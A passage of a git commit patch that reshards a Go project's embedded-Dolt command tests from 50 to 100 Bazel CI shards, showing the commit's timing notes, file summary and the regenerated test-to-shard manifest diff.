sequence), and the MaxRowsList* tests (setup is 21 sequential creates every subtest reads). rbe-west, both targets, --nocache_test_results: slowest shard 138-163s -> 109s (TestEmbeddedUpdateConcurrent alone; every other shard <=86s), median 80-84s -> 40s, shard-seconds 4.1-4.4k -> 4.2k, critical path 213-306s -> 113s. Bead: ga-vnycm2.17 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/embedded-cmd-test-shards.txt | 635 ++++++++++-------- .github/workflows/bazel.yml | 28 +- BUILD.bazel | 3 +- cmd/bd/BUILD.bazel | 67 +- cmd/bd/autocommit_embedded_test.go | 75 ++- cmd/bd/bootstrap_embedded_test.go | 11 +- cmd/bd/children_embedded_test.go | 46 +- cmd/bd/close_embedded_test.go | 49 +- cmd/bd/contributor_embedded_test.go | 22 +- cmd/bd/delete_embedded_test.go | 40 +- cmd/bd/dep_embedded_test.go | 259 ++++--- cmd/bd/duplicates_embedded_test.go | 79 ++- cmd/bd/epic_embedded_test.go | 34 +- cmd/bd/gate_embedded_test.go | 156 +++-- cmd/bd/gc_embedded_test.go | 34 +- cmd/bd/human_embedded_test.go | 12 +- cmd/bd/init_embedded_test.go | 112 ++- cmd/bd/label_embedded_test.go | 65 +- cmd/bd/list_embedded_test.go | 59 +- cmd/bd/ready_embedded_test.go | 249 +++---- cmd/bd/search_embedded_test.go | 162 +++-- cmd/bd/show_embedded_test.go | 21 +- cmd/bd/swarm_embedded_test.go | 41 +- cmd/bd/unclaim_embedded_test.go | 12 +- cmd/bd/update_embedded_test.go | 46 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 8 +- scripts/ci/embedded_cmd_test_durations.json | 576 ++++++++-------- scripts/ci/gen_embedded_cmd_shard_manifest.py | 4 +- scripts/ci_workflow_test.go | 9 +- scripts/embedded_shard_count_test.go | 88 ++- scripts/pr_risk_bazel_coverage_test.go | 73 +- tools/bazel/check_shard_coverage.py | 64 +- tools/bazel/go_test_manifest_shard.sh | 35 +- 33 files changed, 2047 insertions(+), 1127 deletions(-) diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 486e904fe..e6987e1f4 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -10,15 +10,11 @@ 20 2 TestEmbeddedBackupConcurrent 20 3 TestEmbeddedBlocked 20 4 TestEmbeddedBlockedConcurrent -20 5 TestEmbeddedBootstrap 20 6 TestEmbeddedBootstrapConcurrent 20 7 TestEmbeddedBranch 20 8 TestEmbeddedBranchConcurrent -20 9 TestEmbeddedChildren 20 10 TestEmbeddedChildrenConcurrent -20 11 TestEmbeddedCloseBasic 20 11 TestEmbeddedCloseGuardsAndEpics -20 11 TestEmbeddedCloseAlreadyClosed 20 12 TestEmbeddedCloseConcurrent 20 13 TestEmbeddedComments 20 14 TestEmbeddedCommentsCLI @@ -31,7 +27,6 @@ 20 1 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout 20 2 TestEmbeddedContext 20 3 TestEmbeddedContextConcurrent -20 4 TestEmbeddedContributorCreate 20 5 TestEmbeddedCount 20 6 TestEmbeddedCountConcurrent 20 7 TestEmbeddedCreateScalarAndRelationships @@ -44,9 +39,6 @@ 20 13 TestEmbeddedCreateWithGitRemote 20 14 TestEmbeddedDefer 20 15 TestEmbeddedDeferConcurrent -20 16 TestEmbeddedDelete -20 17 TestEmbeddedDepA -20 17 TestEmbeddedDepB 20 18 TestEmbeddedDepConcurrent 20 19 TestEmbeddedDiff 20 20 TestEmbeddedDiffConcurrent @@ -55,10 +47,8 @@ 20 2 TestEmbeddedDoltConcurrent 20 3 TestEmbeddedDuplicate 20 4 TestEmbeddedDuplicateConcurrent -20 5 TestEmbeddedDuplicates 20 6 TestEmbeddedDuplicatesConcurrent 20 7 TestEmbeddedEpicStatus -20 7 TestEmbeddedEpicCloseEligible 20 7 TestEmbeddedEpicCloseEligibleReasonFlag 20 7 TestEmbeddedEpicCloseEligibleReasonOutput 20 8 TestEmbeddedEpicConcurrent @@ -72,11 +62,8 @@ 20 14 TestEmbeddedFindDuplicatesConcurrent 20 15 TestEmbeddedFlatten 20 16 TestEmbeddedFlattenConcurrent -20 17 TestEmbeddedGC 20 18 TestEmbeddedGCConcurrent -20 19 TestEmbeddedGate 20 20 TestEmbeddedGateConcurrent -20 1 TestEmbeddedGateCreate 20 2 TestEmbeddedGetDependencies 20 3 TestEmbeddedGraph 20 4 TestEmbeddedGraphConcurrent @@ -84,27 +71,20 @@ 20 6 TestEmbeddedHistoryConcurrent 20 7 TestEmbeddedHooks 20 8 TestEmbeddedHooksConcurrent -20 9 TestEmbeddedHuman 20 10 TestEmbeddedHumanConcurrent 20 11 TestEmbeddedImportFromSources 20 11 TestEmbeddedImportUpsertAndPrefixSync 20 12 TestEmbeddedImportConcurrent 20 13 TestEmbeddedInfo 20 14 TestEmbeddedInfoConcurrent -20 15 TestEmbeddedInitA -20 15 TestEmbeddedInitB 20 15 TestEmbeddedInitC 20 16 TestEmbeddedInitConcurrent 20 17 TestEmbeddedKV 20 18 TestEmbeddedKVConcurrent -20 19 TestEmbeddedLabelAddRemove -20 19 TestEmbeddedLabelEditReports 20 19 TestEmbeddedLabelPropagateRename 20 20 TestEmbeddedLabelConcurrent 20 1 TestEmbeddedLint 20 2 TestEmbeddedLintConcurrent -20 3 TestEmbeddedListFiltering -20 3 TestEmbeddedListSearchAndOutput 20 4 TestEmbeddedListConcurrent 20 13 TestEmbeddedMaxRowsListBasic 20 13 TestEmbeddedMaxRowsListLimitInteraction @@ -137,7 +117,6 @@ 20 4 TestEmbeddedQuickConcurrent 20 5 TestEmbeddedQuickstart 20 6 TestEmbeddedQuickstartConcurrent -20 7 TestEmbeddedReady 20 8 TestEmbeddedReadyConcurrent 20 9 TestEmbeddedRenamePrefixBasic 20 9 TestEmbeddedRenamePrefixEdgeCases @@ -146,14 +125,12 @@ 20 12 TestEmbeddedReopenConcurrent 20 13 TestEmbeddedRestore 20 14 TestEmbeddedRestoreConcurrent -20 15 TestEmbeddedSearch 20 16 TestEmbeddedSearchConcurrent 20 17 TestEmbeddedSetup 20 18 TestEmbeddedSetupConcurrent 20 19 TestEmbeddedShip 20 20 TestEmbeddedShipConcurrent 20 1 TestEmbeddedShowBasicsAndJSON -20 1 TestEmbeddedShowDetailAndCurrent 20 2 TestEmbeddedShowConcurrent 20 3 TestEmbeddedStale 20 4 TestEmbeddedStaleConcurrent @@ -163,7 +140,6 @@ 20 8 TestEmbeddedStatusConcurrent 20 9 TestEmbeddedSupersede 20 10 TestEmbeddedSupersedeConcurrent -20 11 TestEmbeddedSwarm 20 12 TestEmbeddedSwarmConcurrent 20 13 TestEmbeddedTodo 20 14 TestEmbeddedTodoConcurrent @@ -171,8 +147,6 @@ 20 16 TestEmbeddedTypesConcurrent 20 17 TestEmbeddedUndefer 20 18 TestEmbeddedUndeferConcurrent -20 19 TestEmbeddedUpdateFields -20 19 TestEmbeddedUpdateLifecycle 20 20 TestEmbeddedUpdateConcurrent 20 1 TestEmbeddedVCStatusAndCommit 20 1 TestEmbeddedVCCommitVariantsAndMerge @@ -186,14 +160,14 @@ # # Format: # -# 50-shard split for the Bazel-only embedded-Dolt cmd tier +# 100-shard split for the Bazel-only embedded-Dolt cmd tier # (bazel-embedded in .github/workflows/bazel.yml), bin-packed # longest-first by measured wall-time from # scripts/ci/embedded_cmd_test_durations.json (see that file for provenance # and its "relative weight, not absolute SLA" caveat) onto the shard # whose estimated wall time grows least: serial tests (no top-level # t.Parallel) add up, parallel ones share -test.parallel=4. -# Regenerate with scripts/ci/gen_embedded_cmd_shard_manifest.py 50 +# Regenerate with scripts/ci/gen_embedded_cmd_shard_manifest.py 100 # --weights=duration --write after adding, splitting or removing # TestEmbedded* functions in cmd/bd/*_embedded_test.go. --write is # incremental: it keeps every already-assigned test on its current shard @@ -208,302 +182,407 @@ # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator or the durations file instead. -50 1 TestEmbeddedInitA +100 1 TestEmbeddedUpdateConcurrent -50 2 TestEmbeddedGateCreate +100 2 TestEmbeddedShowConcurrent -50 3 TestEmbeddedRoutedMutatingSiblingAssignTagDep +100 3 TestEmbeddedCloseConcurrent -50 4 TestEmbeddedUpdateConcurrent +100 4 TestEmbeddedEpicConcurrent -50 5 TestEmbeddedMaxRowsListLimitInteraction +100 5 TestEmbeddedConfigConcurrent -50 6 TestEmbeddedSwarm +100 6 TestEmbeddedListFilteringBasicAndLabels -50 7 TestEmbeddedDepA +100 7 TestEmbeddedDepConcurrent -50 8 TestEmbeddedDepB +100 8 TestEmbeddedMaxRowsListLimitInteraction -50 9 TestEmbeddedKVConcurrent +100 9 TestEmbeddedChildrenConcurrent -50 10 TestEmbeddedListFiltering +100 10 TestEmbeddedCreateScalarAndRelationships -50 11 TestEmbeddedInitRoleRouting +100 11 TestEmbeddedKVConcurrent -50 12 TestEmbeddedContributorCreate +100 12 TestEmbeddedGatedRendering -50 13 TestEmbeddedInitGitBootstrapRouting +100 13 TestEmbeddedListFilteringStatusAndHierarchy -50 14 TestEmbeddedCloseConcurrent +100 14 TestEmbeddedReopenConcurrent -50 15 TestEmbeddedCloseAlreadyClosed +100 15 TestEmbeddedPurgeWispsPlaneRetention -50 16 TestEmbeddedRoutedSiblingWritesCommitTargetHead +100 16 TestEmbeddedMemoryConcurrent -50 17 TestEmbeddedConfigConcurrent +100 17 TestEmbeddedReopen -50 18 TestEmbeddedGate +100 18 TestEmbeddedLabelPropagateRename -50 19 TestEmbeddedShowDetailAndCurrent +100 19 TestEmbeddedLabelConcurrent -50 20 TestEmbeddedDelete +100 20 TestEmbeddedInitRoleRoutingRetainedFork -50 21 TestEmbeddedBootstrap +100 21 TestEmbeddedMaxRowsReady -50 22 TestEmbeddedUnclaim +100 22 TestEmbeddedCount -50 23 TestEmbeddedBootstrapConcurrent -50 23 TestEmbeddedHooksConcurrent -50 23 TestEmbeddedShowConcurrent +100 23 TestEmbeddedCountConcurrent -50 24 TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll -50 24 TestEmbeddedBackupConcurrent -50 24 TestEmbeddedBlocked -50 24 TestEmbeddedComments -50 24 TestEmbeddedCompactMisdatedChild -50 24 TestEmbeddedContextConcurrent -50 24 TestEmbeddedCreateCommitPending -50 24 TestEmbeddedCreateRepoFromNonBeadsCwd -50 24 TestEmbeddedCreateStorageClassBasic -50 24 TestEmbeddedCreateWithGitRemote -50 24 TestEmbeddedFindDuplicatesConcurrent -50 24 TestEmbeddedHistoryConcurrent -50 24 TestEmbeddedHooks -50 24 TestEmbeddedHumanConcurrent -50 24 TestEmbeddedInfoSuppressGitHooks -50 24 TestEmbeddedMigrateConcurrent -50 24 TestEmbeddedOnboard -50 24 TestEmbeddedPromote -50 24 TestEmbeddedQuickstart -50 24 TestEmbeddedWhere +100 24 TestEmbeddedUndeferConcurrent -50 25 TestEmbeddedAdminCompactReadOnlyAllowed -50 25 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber -50 25 TestEmbeddedConfigNoWorkspaceStoreFreeCommands -50 25 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout -50 25 TestEmbeddedCreateGraphAndBulk -50 25 TestEmbeddedDoltRemoteAndPush -50 25 TestEmbeddedGateInheritsDownParentChain -50 25 TestEmbeddedListConcurrent -50 25 TestEmbeddedOnboardConcurrent -50 25 TestEmbeddedPrime -50 25 TestEmbeddedQuickstartConcurrent -50 25 TestEmbeddedRenamePrefixConcurrent -50 25 TestEmbeddedSetup -50 25 TestEmbeddedSetupConcurrent -50 25 TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead -50 25 TestEmbeddedUpdateFields -50 25 TestEmbeddedVCCommitVariantsAndMerge -50 25 TestEmbeddedVersion -50 25 TestEmbeddedVersionConcurrent +100 25 TestEmbeddedMaxRowsListBasic -50 26 TestEmbeddedAdminBlocked -50 26 TestEmbeddedBlockedLabelFilters -50 26 TestEmbeddedClaimPools -50 26 TestEmbeddedCompactConcurrent -50 26 TestEmbeddedExportConcurrent -50 26 TestEmbeddedGCConcurrent -50 26 TestEmbeddedGraphConcurrent -50 26 TestEmbeddedPrimeChangeDirPrimesTarget -50 26 TestEmbeddedPrimeConcurrent -50 26 TestEmbeddedReopenConcurrent -50 26 TestEmbeddedTodoConcurrent -50 26 TestEmbeddedTypes -50 26 TestEmbeddedTypesConcurrent +100 26 TestEmbeddedExternalMutationPolicy -50 27 TestEmbeddedBranch -50 27 TestEmbeddedContext -50 27 TestEmbeddedCountIncludeEphemeral -50 27 TestEmbeddedCreateFormCommitsLabelOnlyCreate -50 27 TestEmbeddedFederationConcurrent -50 27 TestEmbeddedGateListScoped -50 27 TestEmbeddedIfRevisionReopenGuardDirect -50 27 TestEmbeddedOrphans -50 27 TestEmbeddedPurgeWispsPlaneRetention -50 27 TestEmbeddedReclaimRunsTheLeaseReclaimerRole -50 27 TestEmbeddedStaleLabelFilters +100 27 TestEmbeddedShipConcurrent -50 28 TestEmbeddedAutoImportJSONLConcurrentWriter -50 28 TestEmbeddedAutoImportJSONLSkipsNonEmpty -50 28 TestEmbeddedBranchConcurrent -50 28 TestEmbeddedCreateConcurrent -50 28 TestEmbeddedEpicCloseEligibleReasonFlag -50 28 TestEmbeddedFederationStatus -50 28 TestEmbeddedLabelAddRemove -50 28 TestEmbeddedPurgeConcurrent -50 28 TestEmbeddedReadyClaimConcurrent -50 28 TestEmbeddedStatus +100 28 TestEmbeddedHistoryConcurrent -50 29 TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate -50 29 TestEmbeddedDepConcurrent -50 29 TestEmbeddedFlatten -50 29 TestEmbeddedGetDependencies -50 29 TestEmbeddedImportUpsertAndPrefixSync -50 29 TestEmbeddedInfo -50 29 TestEmbeddedMaxRowsDoctorAndConfig -50 29 TestEmbeddedOrphansConcurrent -50 29 TestEmbeddedRenamePrefixEdgeCases +100 29 TestEmbeddedEpicCloseEligibleReasonFlag -50 30 TestEmbeddedAutoImportJSONLNoExplicitCommit -50 30 TestEmbeddedCreateJSONEchoesSubSecondTimestamps -50 30 TestEmbeddedDepAddWispSource -50 30 TestEmbeddedExportFlags -50 30 TestEmbeddedListComments -50 30 TestEmbeddedPurgeBasics -50 30 TestEmbeddedReadOnlyCommandsSpawnNoGit -50 30 TestEmbeddedReadyConcurrent -50 30 TestEmbeddedRoutedMutatingSiblingDeleteClose +100 30 TestEmbeddedCloseGuardsAndEpics -50 31 TestEmbeddedCreateCrossRepoUninit -50 31 TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget -50 31 TestEmbeddedDoltBlockedAndCommit -50 31 TestEmbeddedDoltConcurrent -50 31 TestEmbeddedGatedRendering -50 31 TestEmbeddedImportFromSources -50 31 TestEmbeddedInfoConcurrent -50 31 TestEmbeddedInitB -50 31 TestEmbeddedMigrate +100 31 TestEmbeddedInitSelectedExcludeRoutingForkInvalidQuiet -50 32 TestEmbeddedBackup -50 32 TestEmbeddedExternalCapabilityReadyAfterShip -50 32 TestEmbeddedFederationPeers -50 32 TestEmbeddedLabelConcurrent -50 32 TestEmbeddedMaxRowsReadyMerge -50 32 TestEmbeddedPreviewDoesNotConsumeVersionMarker -50 32 TestEmbeddedRestore -50 32 TestEmbeddedTypesAgreeWithCreate +100 32 TestEmbeddedListSearchAndOutputFormats -50 33 TestEmbeddedBlockedConcurrent -50 33 TestEmbeddedDefer -50 33 TestEmbeddedGC -50 33 TestEmbeddedPruneDryRunAndFilters -50 33 TestEmbeddedPurgeFiltered -50 33 TestEmbeddedQuery -50 33 TestEmbeddedVCConcurrent -50 33 TestEmbeddedWhereConcurrent +100 33 TestEmbeddedBootstrapJSONLAndGitOrigin -50 34 TestEmbeddedCompact -50 34 TestEmbeddedCreateCrossRepoWithParent -50 34 TestEmbeddedCreateRepoRelativeUninitRefused -50 34 TestEmbeddedCreateStorageClassConflicts -50 34 TestEmbeddedDuplicatesConcurrent -50 34 TestEmbeddedEpicCloseEligibleReasonOutput -50 34 TestEmbeddedFlattenConcurrent -50 34 TestEmbeddedOpen_EmptyDatabaseRejected -50 34 TestEmbeddedRestoreConcurrent -50 34 TestEmbeddedUpdateLifecycle +100 34 TestEmbeddedUnclaimBatchAndRefusals -50 35 TestEmbeddedCreateCrossRepo -50 35 TestEmbeddedDeleteJSONDependencyErrorContract -50 35 TestEmbeddedDuplicateConcurrent -50 35 TestEmbeddedInitArtifactRouting -50 35 TestEmbeddedMaxRowsListBasic -50 35 TestEmbeddedStateConcurrent -50 35 TestEmbeddedVCStatusAndCommit +100 35 TestEmbeddedGateCreateBeadRename -50 36 TestEmbeddedAdminCompactTier2Honesty -50 36 TestEmbeddedCloseBasic -50 36 TestEmbeddedConfig -50 36 TestEmbeddedCountConcurrent -50 36 TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead -50 36 TestEmbeddedInitConcurrent -50 36 TestEmbeddedLintConcurrent -50 36 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget +100 36 TestEmbeddedGateConcurrent -50 37 TestEmbeddedChangeDirOverridesInheritedBeadsDir -50 37 TestEmbeddedChildren -50 37 TestEmbeddedChildrenConcurrent -50 37 TestEmbeddedCreateCrossRepoDryRunWithParent -50 37 TestEmbeddedCreateStorageClassBatchAndMisc -50 37 TestEmbeddedQueryConcurrent -50 37 TestEmbeddedStaleConcurrent +100 37 TestEmbeddedMaxRowsDepTreeAndDuplicates -50 38 TestEmbeddedCreateDryRunDoesNotMigrate -50 38 TestEmbeddedImportPromotedWispRoundtrip -50 38 TestEmbeddedMaxRowsReady -50 38 TestEmbeddedReady -50 38 TestEmbeddedRenamePrefixBasic -50 38 TestEmbeddedShip -50 38 TestEmbeddedSupersede +100 38 TestEmbeddedGraphConcurrent -50 39 TestEmbeddedDeferAutoWake -50 39 TestEmbeddedEpicConcurrent -50 39 TestEmbeddedGateConcurrent -50 39 TestEmbeddedInitC -50 39 TestEmbeddedKV -50 39 TestEmbeddedLint -50 39 TestEmbeddedPromoteCLI +100 39 TestEmbeddedMaxRowsGraph -50 40 TestEmbeddedCommentsCLI -50 40 TestEmbeddedCommentsCLIConcurrent -50 40 TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead -50 40 TestEmbeddedDiffConcurrent -50 40 TestEmbeddedImportConcurrent -50 40 TestEmbeddedSupersedeConcurrent -50 40 TestEmbeddedTodo +100 40 TestEmbeddedUpdateLifecycleClaimParentCommit -50 41 TestEmbeddedHistory -50 41 TestEmbeddedInitSelectedExcludeRoutingFork -50 41 TestEmbeddedListSearchAndOutput -50 41 TestEmbeddedPromoteCLIConcurrent -50 41 TestEmbeddedQuick -50 41 TestEmbeddedUndefer +100 41 TestEmbeddedDuplicateConcurrent -50 42 TestEmbeddedCountIncludeInfra -50 42 TestEmbeddedDuplicate -50 42 TestEmbeddedEpicCloseEligible -50 42 TestEmbeddedInitExplicitBeadsDirIsAuthoritative -50 42 TestEmbeddedQuietFlagSuppressesSuccessOutput -50 42 TestEmbeddedStatusConcurrent +100 42 TestEmbeddedInitAForkAutoContributor -50 43 TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected -50 43 TestEmbeddedImportClosedChildWhoseParentWasDeleted -50 43 TestEmbeddedLabelEditReports -50 43 TestEmbeddedShowBasicsAndJSON -50 43 TestEmbeddedState -50 43 TestEmbeddedSwarmConcurrent +100 43 TestEmbeddedInitExplicitBeadsDirIsAuthoritative -50 44 TestEmbeddedFindDuplicates -50 44 TestEmbeddedMaxRowsGraph -50 44 TestEmbeddedMemory -50 44 TestEmbeddedShipConcurrent -50 44 TestEmbeddedShowUnresolvableDeps -50 44 TestEmbeddedSquashWispMoleculeClearsRootEphemeral +100 44 TestEmbeddedStaleConcurrent -50 45 TestEmbeddedCloseGuardsAndEpics -50 45 TestEmbeddedCreateRepoProxiedTargetError -50 45 TestEmbeddedCreateScalarAndRelationships -50 45 TestEmbeddedDuplicates -50 45 TestEmbeddedUndeferConcurrent -50 45 TestEmbeddedUpdateRoutedStoreCommitsTargetHead +100 45 TestEmbeddedGraph -50 46 TestEmbeddedCount -50 46 TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge -50 46 TestEmbeddedDepNoCycleCheck -50 46 TestEmbeddedEpicStatus -50 46 TestEmbeddedInitHooksRouting -50 46 TestEmbeddedReopen +100 46 TestEmbeddedCloseAlreadyClosedClaimNextAndMolecule -50 47 TestEmbeddedDiff -50 47 TestEmbeddedGraph -50 47 TestEmbeddedHuman -50 47 TestEmbeddedMemoryCorpusBudget -50 47 TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget -50 47 TestEmbeddedQuickConcurrent -50 47 TestEmbeddedSearchConcurrent +100 47 TestEmbeddedListSearchAndOutputSearchAndSort -50 48 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget -50 48 TestEmbeddedExportFormats -50 48 TestEmbeddedLabelPropagateRename -50 48 TestEmbeddedMaxRowsDepTreeAndDuplicates -50 48 TestEmbeddedMemoryConcurrent -50 48 TestEmbeddedSearch +100 48 TestEmbeddedDeferConcurrent -50 49 TestEmbeddedExplicitHierarchicalParentEdges -50 49 TestEmbeddedInitSelectedExcludeRoutingStealth +100 49 TestEmbeddedInitAPushConsentAndRemoteBootstrap -50 50 TestEmbeddedDeferConcurrent -50 50 TestEmbeddedExternalMutationPolicy -50 50 TestEmbeddedGCConditionalMatcherDecode -50 50 TestEmbeddedPruneSafetyAndScope -50 50 TestEmbeddedStale +100 50 TestEmbeddedDiffConcurrent + +100 51 TestEmbeddedInitGitBootstrapRoutingFreshQuiet + +100 52 TestEmbeddedSwarmConcurrent + +100 53 TestEmbeddedInitSelectedExcludeRoutingStealthDecoyQuiet + +100 54 TestEmbeddedSearchConcurrent + +100 55 TestEmbeddedUndefer + +100 56 TestEmbeddedDepNoCycleCheck + +100 57 TestEmbeddedQueryConcurrent + +100 58 TestEmbeddedDepAAddRejectionsAndBulk + +100 59 TestEmbeddedDeferAutoWake + +100 60 TestEmbeddedCommentsCLI + +100 61 TestEmbeddedUpdateRoutedStoreCommitsTargetHead + +100 62 TestEmbeddedReadyBlockersAndLabels + +100 63 TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead + +100 64 TestEmbeddedGateWaiterCheckLifecycle + +100 65 TestEmbeddedSupersede + +100 66 TestEmbeddedCloseBasicIsolatedStores + +100 67 TestEmbeddedAdminCompactReadOnlyAllowed +100 67 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber +100 67 TestEmbeddedBootstrapConcurrent +100 67 TestEmbeddedCountIncludeInfra +100 67 TestEmbeddedCreateCommitPending +100 67 TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget +100 67 TestEmbeddedCreateRepoFromNonBeadsCwd +100 67 TestEmbeddedCreateRepoRelativeUninitRefused +100 67 TestEmbeddedHooks +100 67 TestEmbeddedOnboard +100 67 TestEmbeddedPrime +100 67 TestEmbeddedPromote +100 67 TestEmbeddedQuickstart +100 67 TestEmbeddedQuickstartConcurrent +100 67 TestEmbeddedWhere +100 67 TestEmbeddedWhereConcurrent + +100 68 TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll +100 68 TestEmbeddedBlocked +100 68 TestEmbeddedCompactConcurrent +100 68 TestEmbeddedContext +100 68 TestEmbeddedCreateJSONEchoesSubSecondTimestamps +100 68 TestEmbeddedDoltBlockedAndCommit +100 68 TestEmbeddedDoltConcurrent +100 68 TestEmbeddedInfo +100 68 TestEmbeddedInfoSuppressGitHooks +100 68 TestEmbeddedOrphans +100 68 TestEmbeddedRoutedMutatingSiblingDeleteCloseDelete +100 68 TestEmbeddedSetupConcurrent +100 68 TestEmbeddedTodoConcurrent +100 68 TestEmbeddedTypes + +100 69 TestEmbeddedCompact +100 69 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout +100 69 TestEmbeddedCreateConcurrent +100 69 TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate +100 69 TestEmbeddedDuplicatesSharedFixture +100 69 TestEmbeddedGateListScoped +100 69 TestEmbeddedGetDependencies +100 69 TestEmbeddedInfoConcurrent +100 69 TestEmbeddedRenamePrefixConcurrent +100 69 TestEmbeddedRoutedSiblingWritesCommitTargetHeadNote +100 69 TestEmbeddedTypesConcurrent +100 69 TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead + +100 70 TestEmbeddedExportConcurrent +100 70 TestEmbeddedFlattenConcurrent +100 70 TestEmbeddedGCDryRunAndSkips +100 70 TestEmbeddedImportConcurrent +100 70 TestEmbeddedImportUpsertAndPrefixSync +100 70 TestEmbeddedLabelAddRemoveMultiAndDuplicate +100 70 TestEmbeddedMemory +100 70 TestEmbeddedMigrateConcurrent +100 70 TestEmbeddedPurgeConcurrent +100 70 TestEmbeddedRoutedMutatingSiblingAssignTagDepTag + +100 71 TestEmbeddedInitRoleRoutingExplicitDefault +100 71 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget + +100 72 TestEmbeddedContributorCreateMultiple +100 72 TestEmbeddedCreateWithGitRemote +100 72 TestEmbeddedFederationConcurrent +100 72 TestEmbeddedGateCreateRepoErrorsList +100 72 TestEmbeddedHumanConcurrent +100 72 TestEmbeddedImportPromotedWispRoundtrip +100 72 TestEmbeddedPrimeChangeDirPrimesTarget +100 72 TestEmbeddedRoutedMutatingSiblingDeleteCloseClose +100 72 TestEmbeddedRoutedSiblingWritesCommitTargetHeadReopen +100 72 TestEmbeddedUpdateFieldsMappingAndRefs + +100 73 TestEmbeddedCompactMisdatedChild +100 73 TestEmbeddedExportFlags +100 73 TestEmbeddedFederationPeers +100 73 TestEmbeddedGateCreateFlags +100 73 TestEmbeddedGateCreateReady +100 73 TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget +100 73 TestEmbeddedQuickConcurrent +100 73 TestEmbeddedRenamePrefixBasic +100 73 TestEmbeddedRoutedMutatingSiblingAssignTagDepDepAdd + +100 74 TestEmbeddedBlockedConcurrent +100 74 TestEmbeddedBranch +100 74 TestEmbeddedCountIncludeEphemeral +100 74 TestEmbeddedDepAddWispSource +100 74 TestEmbeddedMigrate +100 74 TestEmbeddedPrimeConcurrent +100 74 TestEmbeddedRestore +100 74 TestEmbeddedVCConcurrent + +100 75 TestEmbeddedCommentsCLIConcurrent +100 75 TestEmbeddedContextConcurrent +100 75 TestEmbeddedFlatten +100 75 TestEmbeddedInitC +100 75 TestEmbeddedListComments +100 75 TestEmbeddedOpen_EmptyDatabaseRejected +100 75 TestEmbeddedReclaimRunsTheLeaseReclaimerRole +100 75 TestEmbeddedRoutedSiblingWritesCommitTargetHeadComment +100 75 TestEmbeddedVCStatusAndCommit + +100 76 TestEmbeddedCloseAlreadyClosedContinue +100 76 TestEmbeddedCloseAlreadyClosedMultipleIDs +100 76 TestEmbeddedExportFormats +100 76 TestEmbeddedGCForceWithDecay +100 76 TestEmbeddedGCFullAndNoForcePrompts +100 76 TestEmbeddedInitAGitOriginRemote +100 76 TestEmbeddedLabelAddRemoveRemove +100 76 TestEmbeddedOnboardConcurrent + +100 77 TestEmbeddedClaimPools +100 77 TestEmbeddedConfigNoWorkspaceStoreFreeCommands +100 77 TestEmbeddedCreateStorageClassConflicts +100 77 TestEmbeddedExternalCapabilityReadyAfterShip +100 77 TestEmbeddedHumanListStatsRespondDismiss +100 77 TestEmbeddedMemoryCorpusBudget +100 77 TestEmbeddedOrphansConcurrent +100 77 TestEmbeddedStatus + +100 78 TestEmbeddedBranchConcurrent +100 78 TestEmbeddedComments +100 78 TestEmbeddedDepBRemove +100 78 TestEmbeddedLabelAddRemoveAdd +100 78 TestEmbeddedShip +100 78 TestEmbeddedUpdateFieldsNotesOverwrite +100 78 TestEmbeddedVCCommitVariantsAndMerge +100 78 TestEmbeddedVersionConcurrent + +100 79 TestEmbeddedCreateCrossRepoUninit +100 79 TestEmbeddedDeleteJSONDependencyErrorContract +100 79 TestEmbeddedEpicCloseEligibleNotEligible +100 79 TestEmbeddedInitABasic +100 79 TestEmbeddedInitBRemoteSchemaAndCloneFailure +100 79 TestEmbeddedRenamePrefixEdgeCases +100 79 TestEmbeddedUpdateFieldsNotesClearAndDefer + +100 80 TestEmbeddedCreateCrossRepoWithParent +100 80 TestEmbeddedCreateFormCommitsLabelOnlyCreate +100 80 TestEmbeddedCreateStorageClassBasic +100 80 TestEmbeddedRoutedMutatingSiblingAssignTagDepAssign +100 80 TestEmbeddedStatusConcurrent +100 80 TestEmbeddedSwarmCreate +100 80 TestEmbeddedSwarmValidate + +100 81 TestEmbeddedAdminCompactTier2Honesty +100 81 TestEmbeddedBackup +100 81 TestEmbeddedDeleteForceAndBatch +100 81 TestEmbeddedGateCreateBeadCheck +100 81 TestEmbeddedGateList +100 81 TestEmbeddedRestoreConcurrent +100 81 TestEmbeddedStaleLabelFilters +100 81 TestEmbeddedStateConcurrent + +100 82 TestEmbeddedCreateCrossRepoDryRunWithParent +100 82 TestEmbeddedDeleteBasic +100 82 TestEmbeddedDepBTreeAndCycles +100 82 TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead +100 82 TestEmbeddedHooksConcurrent +100 82 TestEmbeddedImportFromSources +100 82 TestEmbeddedStale + +100 83 TestEmbeddedAdminBlocked +100 83 TestEmbeddedAutoImportJSONLConcurrentWriter +100 83 TestEmbeddedInitBAutoCommitAndJSONLRemote +100 83 TestEmbeddedLabelEditReportsPrefix +100 83 TestEmbeddedMaxRowsDoctorAndConfig +100 83 TestEmbeddedPurgeFiltered +100 83 TestEmbeddedReadyConcurrent + +100 84 